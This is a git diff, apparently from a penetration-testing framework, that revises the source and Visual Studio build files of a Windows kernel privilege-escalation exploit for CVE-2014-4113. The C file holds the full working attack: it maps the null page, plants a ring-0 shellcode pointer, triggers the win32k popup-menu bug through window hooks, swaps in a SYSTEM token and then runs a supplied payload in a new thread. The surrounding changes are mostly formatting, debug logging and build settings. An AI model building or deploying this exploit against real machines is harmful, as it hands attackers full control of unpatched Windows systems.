diff --git a/external/source/exploits/cve-2014-4113/cve-2014-4113.sln b/external/source/exploits/cve-2014-4113/cve-2014-4113.sln index 62c99261f9..4e51163178 100755 --- a/external/source/exploits/cve-2014-4113/cve-2014-4113.sln +++ b/external/source/exploits/cve-2014-4113/cve-2014-4113.sln @@ -1,9 +1,9 @@  Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Express 2013 for Windows Desktop -VisualStudioVersion = 12.0.30723.0 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2014-4113", "cve-2014-4113\cve-2014-4113.vcxproj", "{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}" +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2014-4113", "cve-2014-4113\cve-2014-4113.vcxproj", "{E80F11CD-6698-492F-B4B0-1A2348A24BB0}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution @@ -13,14 +13,14 @@ Global Release|x64 = Release|x64 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution - {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.ActiveCfg = Debug|Win32 - {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.Build.0 = Debug|Win32 - {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|x64.ActiveCfg = Debug|x64 - {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|x64.Build.0 = Debug|x64 - {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.ActiveCfg = Release|Win32 - {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.Build.0 = Release|Win32 - {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|x64.ActiveCfg = Release|x64 - {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|x64.Build.0 = Release|x64 + {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|Win32.ActiveCfg = Debug|Win32 + {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|Win32.Build.0 = Debug|Win32 + {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|x64.ActiveCfg = Debug|x64 + {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|x64.Build.0 = Debug|x64 + {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|Win32.ActiveCfg = Release|Win32 + {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|Win32.Build.0 = Release|Win32 + {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|x64.ActiveCfg = Release|x64 + {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|x64.Build.0 = Release|x64 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c b/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c index b9cafa1a06..b33b91a753 100755 --- a/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c +++ b/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c @@ -2,6 +2,9 @@ #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN #include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +// Uncomment this line to enable to debug output +#define DEBUGGING + // Purloined from ntstatus.h #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth @@ -9,18 +12,22 @@ #include #undef WIN32_NO_STATUS +#ifdef DEBUGGING +#include +#endif + #ifndef _NTDEF_ typedef __success(return >= 0) LONG NTSTATUS; typedef NTSTATUS *PNTSTATUS; #endif -#define DEBUGGING FALSE - #ifdef _M_X64 typedef unsigned __int64 QWORD; typedef QWORD *PQWORD; #endif +#define PTR_SIZE sizeof(UINT_PTR) + int WndProcClue = 0; int HookCallbackClue = 0; WNDPROC lpPrevWndFunc; @@ -34,21 +41,22 @@ typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)( IN PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect - ); +); typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)( IN HANDLE ProcessId, OUT PVOID Process - ); +); typedef NTSTATUS(NTAPI *lZwQuerySystemInformation)( _In_ DWORD SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength - ); +); -typedef struct _SYSTEM_MODULE { +typedef struct _SYSTEM_MODULE +{ HANDLE Reserved1; PVOID Reserved2; PVOID ImageBaseAddress; @@ -61,8 +69,8 @@ typedef struct _SYSTEM_MODULE { BYTE Name[256]; } SYSTEM_MODULE, *PSYSTEM_MODULE; - -typedef struct _SYSTEM_MODULE_INFORMATION { +typedef struct _SYSTEM_MODULE_INFORMATION +{ ULONG ModulesCount; SYSTEM_MODULE Modules[0]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; @@ -70,6 +78,20 @@ typedef struct _SYSTEM_MODULE_INFORMATION { lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL; lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL; +#ifdef DEBUGGING +void LogMessage(char* pszFormat, ...) +{ + static char s_acBuf[2048]; + va_list args; + va_start(args, pszFormat); + vsprintf_s(s_acBuf, sizeof(s_acBuf) - 1, pszFormat, args); + printf("%s\n", s_acBuf); + OutputDebugString(s_acBuf); + va_end(args); +} +#else +#define LogMessage(...) +#endif long CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) { @@ -77,27 +99,23 @@ long CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) return -5; } -LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) { -#ifdef _M_X64 - if (*(DWORD *)(lParam + 16) == 0x1EB && !HookCallbackClue) -#else - if (*(DWORD *)(lParam + 8) == 0x1EB && !HookCallbackClue) -#endif +LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) +{ + if (*(DWORD *)(lParam + PTR_SIZE * 2) == 0x1EB && !HookCallbackClue) { HookCallbackClue = 1; - if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) { -#ifdef _M_X64 - lpPrevWndFunc = (WNDPROC)SetWindowLongPtr(*(HWND *)(lParam + 24), GWLP_WNDPROC, (ULONG_PTR)HookCallbackTwo); -#else - lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo); -#endif + if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) + { + lpPrevWndFunc = (WNDPROC)SetWindowLongPtrA(*(HWND *)(lParam + PTR_SIZE * 3), GWLP_WNDPROC, (ULONG_PTR)HookCallbackTwo); } } return CallNextHookEx(0, code, wParam, lParam); } -LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { - if (msg == 289 && WndProcClue != 1) { +LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) +{ + if (msg == 289 && WndProcClue != 1) + { WndProcClue = 1; PostMessageA(hwnd, 256, 40, 0); PostMessageA(hwnd, 256, 39, 0); @@ -114,15 +132,17 @@ QWORD MyPtiCurrent(void) { return Win32ThreadInfo; } #else -DWORD __stdcall MyPtiCurrent() { +DWORD __stdcall MyPtiCurrent() +{ __asm { mov eax, fs : 18h - mov eax, [eax + 40h] + mov eax, [eax + 40h] } } #endif -int _stdcall shellcode_ring0(int one, int two, int three, int four) { +int _stdcall shellcode_ring0(int one, int two, int three, int four) +{ void *my_process_info = NULL; void *system_info = NULL; @@ -134,27 +154,15 @@ int _stdcall shellcode_ring0(int one, int two, int three, int four) { return 0; } -void -LogMessage(char* pszFormat, ...) { - if (DEBUGGING != TRUE) { - return; - } - static char s_acBuf[2048]; - va_list args; - va_start(args, pszFormat); - vsprintf(s_acBuf, pszFormat, args); - printf("%s\n", s_acBuf); - OutputDebugString(s_acBuf); - va_end(args); -} - -DWORD WINAPI ExecutePayload(LPVOID lpPayload) { +DWORD WINAPI ExecutePayload(LPVOID lpPayload) +{ VOID(*lpCode)() = (VOID(*)())lpPayload; lpCode(); return ERROR_SUCCESS; } -void Win32kNullPage(LPVOID lpPayload) { +void Win32kNullPage(LPVOID lpPayload) +{ HWND hWnd; WNDCLASSA WndClass; LPBYTE promise_land = NULL; @@ -178,18 +186,25 @@ void Win32kNullPage(LPVOID lpPayload) { } #ifdef _M_X64 - if (VersionInformation.dwMajorVersion == 6 && VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1 + if (VersionInformation.dwMajorVersion == 6 && VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) + { + // Ex: Windows 7 SP1 LogMessage("[*] Windows 6.1 found..."); OffsetWindows = 0x208; } #else - if (VersionInformation.dwMajorVersion == 6) { - if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1 + if (VersionInformation.dwMajorVersion == 6) + { + if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) + { + // Ex: Windows 7 SP1 LogMessage("[*] Windows 6.1 found..."); OffsetWindows = 0xf8; } - else if (!VersionInformation.dwMinorVersion) { - LogMessage("[*] Windows 6.0 found..."); // Ex: Windows 2008 R2 + else if (!VersionInformation.dwMinorVersion) + { + // Ex: Windows 2008 R2 + LogMessage("[*] Windows 6.0 found..."); OffsetWindows = 0xe0; } else { @@ -221,13 +236,15 @@ void Win32kNullPage(LPVOID lpPayload) { LogMessage("[*] Solving symbols..."); hNtdll = LoadLibraryA("ntdll"); - if (hNtdll == NULL) { + if (hNtdll == NULL) + { LogMessage("[!] Failed to Load ntdll..."); return; } pZwQuerySystemInformation = (lZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation"); - if (pZwQuerySystemInformation == NULL) { + if (pZwQuerySystemInformation == NULL) + { LogMessage("[!] Failed to solve ZwQuerySystemInformation"); return; } @@ -242,23 +259,25 @@ void Win32kNullPage(LPVOID lpPayload) { status = pZwQuerySystemInformation(11, &SystemInfoBufferSize, 0, &SystemInfoBufferSize); - if (SystemInfoBufferSize == 0) { + if (SystemInfoBufferSize == 0) + { LogMessage("[!] Requesting pZwQuerySystemInformation required length failed"); return; } - else { - LogMessage("[*] pZwQuerySystemInformation required length %d", SystemInfoBufferSize); - } + + LogMessage("[*] pZwQuerySystemInformation required length %d", SystemInfoBufferSize); pSystemInfoBuffer = (PULONG)LocalAlloc(LMEM_ZEROINIT, SystemInfoBufferSize); - if (pSystemInfoBuffer == NULL) { + if (pSystemInfoBuffer == NULL) + { LogMessage("[!] Allocation for SystemInfo failed"); return; } status = pZwQuerySystemInformation(11, pSystemInfoBuffer, SystemInfoBufferSize, &SystemInfoBufferSize); - if (status != STATUS_SUCCESS) { + if (status != STATUS_SUCCESS) + { LogMessage("[!] Requesting kernel modules through ZwQuerySystemInformation failed"); return; } @@ -272,13 +291,16 @@ void Win32kNullPage(LPVOID lpPayload) { memset(nt_name, 0, 256); - int i = 0; - while (i < smi->ModulesCount) { + ULONG i = 0; + while (i < smi->ModulesCount) + { SYSTEM_MODULE *sm = (SYSTEM_MODULE *)(smi->Modules + i); LogMessage("[*] Checking module %s", sm->Name); - if (strstr((char *)sm->Name, ".exe")) { + if (strstr((char *)sm->Name, ".exe")) + { char *start = strstr((char *)sm->Name, "nt"); - if (start != NULL) { + if (start != NULL) + { nt_base = sm->ImageBaseAddress; strncpy_s(nt_name, 256, start, _TRUNCATE); break; @@ -287,13 +309,12 @@ void Win32kNullPage(LPVOID lpPayload) { i++; } - if (nt_name == NULL) { + if (nt_name == NULL) + { LogMessage("[!] nt not found"); return; } - else { - LogMessage("[*] Good! nt found as %s at 0x%08x", nt_name, nt_base); - } + LogMessage("[*] Good! nt found as %s at 0x%08x", nt_name, nt_base); ntkrnl = LoadLibraryA(nt_name); @@ -301,7 +322,8 @@ void Win32kNullPage(LPVOID lpPayload) { pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)GetProcAddress(ntkrnl, "PsLookupProcessByProcessId"); - if (pPsLookupProcessByProcessId == NULL) { + if (pPsLookupProcessByProcessId == NULL) + { LogMessage("[!] Failed to solve PsLookupProcessByProcessId\n"); return; } @@ -323,7 +345,8 @@ void Win32kNullPage(LPVOID lpPayload) { WndClass.lpfnWndProc = WndProc; // Called with CallWindowProc => http://msdn.microsoft.com/en-us/library/windows/desktop/ms633571(v=vs.85).aspx WndClass.lpszClassName = "woqunimalegebi"; - if (RegisterClassA(&WndClass) == 0) { + if (!RegisterClassA(&WndClass)) + { LogMessage("[!] RegisterClassA failed "); return; } @@ -332,7 +355,8 @@ void Win32kNullPage(LPVOID lpPayload) { LogMessage("[*] Creating window..."); hWnd = CreateWindowExA(0, "woqunimalegebi", NULL, 0, -1, -1, 0, 0, NULL, NULL, NULL, NULL); - if (hWnd == NULL) { + if (hWnd == NULL) + { LogMessage("[!] CreateWindowExA failed"); return; } @@ -351,7 +375,9 @@ void Win32kNullPage(LPVOID lpPayload) { current_process = GetCurrentProcess(); - if (pNtAllocateVirtualMemory(current_process, (LPVOID*)(&base_address), 0, ®ion_size, (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) { + ULONG ulAllocationType = MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN; + if (pNtAllocateVirtualMemory(current_process, (LPVOID*)&base_address, 0, ®ion_size, ulAllocationType, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) + { LogMessage("[!] Failed to allocate null page"); return; } @@ -364,17 +390,20 @@ void Win32kNullPage(LPVOID lpPayload) { DWORD pti = MyPtiCurrent(); #endif - if (pti == 0) { + if (pti == 0) + { LoadLibrary("user32.dll"); LoadLibrary("gdi32.dll"); pti = MyPtiCurrent(); } - if (pti == 0) { + if (pti == 0) + { LogMessage("[!] Filed to get PtiCurrent"); return; } - else { + else + { #ifdef _M_X64 LogMessage("[*] Good! pti 0x%016llx", pti); #else @@ -395,7 +424,7 @@ void Win32kNullPage(LPVOID lpPayload) { /* win32k!tagWND->lpfnWndProc = &shellcode_ring0 */ (QWORD)test = 0x10000008B; - *((PQWORD)test) = &shellcode_ring0; + *((PQWORD)test) = (QWORD)&shellcode_ring0; #else void *test = promise_land + 3; /* We need to save this check, otherwise unmapped memory will be dereferenced (blue screen) @@ -415,7 +444,8 @@ void Win32kNullPage(LPVOID lpPayload) { LogMessage("[*] Triggering vulnerability..."); HMENU MenuOne = CreatePopupMenu(); - if (MenuOne == NULL) { + if (MenuOne == NULL) + { LogMessage("[!] First CreatePopupMenu failed"); return; } @@ -425,14 +455,16 @@ void Win32kNullPage(LPVOID lpPayload) { MenuOneInfo.cbSize = sizeof(MENUITEMINFOA); MenuOneInfo.fMask = MIIM_STRING; - if (InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo) != TRUE) { + if (InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo) != TRUE) + { LogMessage("[!] First InsertMenuItemA failed"); DestroyMenu(MenuOne); return; } HMENU MenuTwo = CreatePopupMenu(); - if (MenuTwo == NULL) { + if (MenuTwo == NULL) + { LogMessage("[!] Second CreatePopupMenu failed"); DestroyMenu(MenuOne); return; @@ -445,14 +477,17 @@ void Win32kNullPage(LPVOID lpPayload) { MenuTwoInfo.dwTypeData = ""; MenuTwoInfo.cch = 1; MenuTwoInfo.hSubMenu = MenuOne; - if (InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo) != TRUE) { + + if (InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo) != TRUE) + { LogMessage("[!] Second InsertMenuItemA failed"); DestroyMenu(MenuTwo); DestroyMenu(MenuOne); return; } - if (SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId()) == NULL) { + if (SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId()) == NULL) + { LogMessage("[!] SetWindowsHookExA failed :-(\n"); DestroyMenu(MenuTwo); DestroyMenu(MenuOne); @@ -465,15 +500,17 @@ void Win32kNullPage(LPVOID lpPayload) { // If everything worked process should be privileges at this point LogMessage("[!] Executing payload..."); CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL); - return; } -BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ BOOL bReturnValue = TRUE; - switch (dwReason) { + switch (dwReason) + { case DLL_QUERY_HMODULE: hAppInstance = hinstDLL; - if (lpReserved != NULL) { + if (lpReserved != NULL) + { *(HMODULE *)lpReserved = hAppInstance; } break; @@ -487,4 +524,4 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { break; } return bReturnValue; -}; +} diff --git a/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.vcxproj b/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.vcxproj index fe5f68951d..0448fcfce9 100755 --- a/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.vcxproj +++ b/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.vcxproj @@ -1,5 +1,5 @@  - + Debug @@ -19,132 +19,220 @@ - {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B} - cve20144113 + {E80F11CD-6698-492F-B4B0-1A2348A24BB0} + cve-2014-4113 + Win32Proj - - DynamicLibrary - true - false - MultiByte - v120 - - - DynamicLibrary - true - false - MultiByte - v120 - DynamicLibrary - false - false MultiByte - v120 + false + v120_xp DynamicLibrary - false - false MultiByte - v120 + false + v120_xp + + + DynamicLibrary + MultiByte + v120_xp + + + DynamicLibrary + MultiByte + v120_xp + - - - - - - - - - - + - - ../../../ReflectiveDLLInjection/common;$(IncludePath) - - - ../../../ReflectiveDLLInjection/common;$(IncludePath) - - - ../../../ReflectiveDLLInjection/common;$(IncludePath) - - - ../../../ReflectiveDLLInjection/common;$(IncludePath) + + <_ProjectFileVersion>10.0.30319.1 + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ + false + false + AllRules.ruleset + + + $(ProjectName).$(PlatformShortName) - CompileAsC - Level3 Disabled - true - true - MultiThreaded + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebug + + + Level3 + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + %(DelayLoadDLLs) true - true - $(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt) + Windows + MachineX86 + + + /ignore:4070 + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +exit 0 + + + _DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions) + - CompileAsC - Level3 Disabled - true - true - MultiThreaded + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions) + EnableFastChecks + MultiThreadedDebug + + + Level3 + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + %(DelayLoadDLLs) true - true - $(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt) + Windows + + + /ignore:4070 + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +exit 0 + + + _DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions) + - CompileAsC - Level3 - Disabled - true - true - Default + MinSpace + OnlyExplicitInline + false + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions) + true MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + %(DelayLoadDLLs) false - true - $(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt) + true + $(OutDir)\cve-2014-4113.map + Windows + + + + + false + + + $(OutDir)\cve-2014-4113.lib + MachineX86 + false + + + /ignore:4070 + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\CVE-2014-4113\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\CVE-2014-4113\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2014-4113\" + - CompileAsC - Level3 - Disabled - true - true - Default + MinSpace + OnlyExplicitInline + false + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions) + true MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + %(DelayLoadDLLs) false - true - $(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt) + true + $(OutDir)\cve-2014-4113.map + Windows + + + + + false + + + $(OutDir)\cve-2014-4113.lib + false + + + /ignore:4070 + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\CVE-2014-4113\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\CVE-2014-4113\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2014-4113\" + + \ No newline at end of file diff --git a/external/source/exploits/cve-2014-4113/make.msbuild b/external/source/exploits/cve-2014-4113/make.msbuild index c0690660ff..3292289649 100755 --- a/external/source/exploits/cve-2014-4113/make.msbuild +++ b/external/source/exploits/cve-2014-4113/make.msbuild @@ -4,14 +4,15 @@ .\cve-2014-4113.sln - + - + - + + diff --git a/external/source/exploits/make.bat b/external/source/exploits/make.bat index 4884810d07..fb39b2e3c5 100755 --- a/external/source/exploits/make.bat +++ b/external/source/exploits/make.bat @@ -48,7 +48,7 @@ IF "%ERRORLEVEL%"=="0" ( ) IF "%ERRORLEVEL%"=="0" ( - ECHO "Building CVE-2014-4113 (win32k_null_page)" + ECHO "Building CVE-2014-4113 (track_popup_menu)" PUSHD CVE-2014-4113 msbuild.exe make.msbuild /target:%PLAT% POPD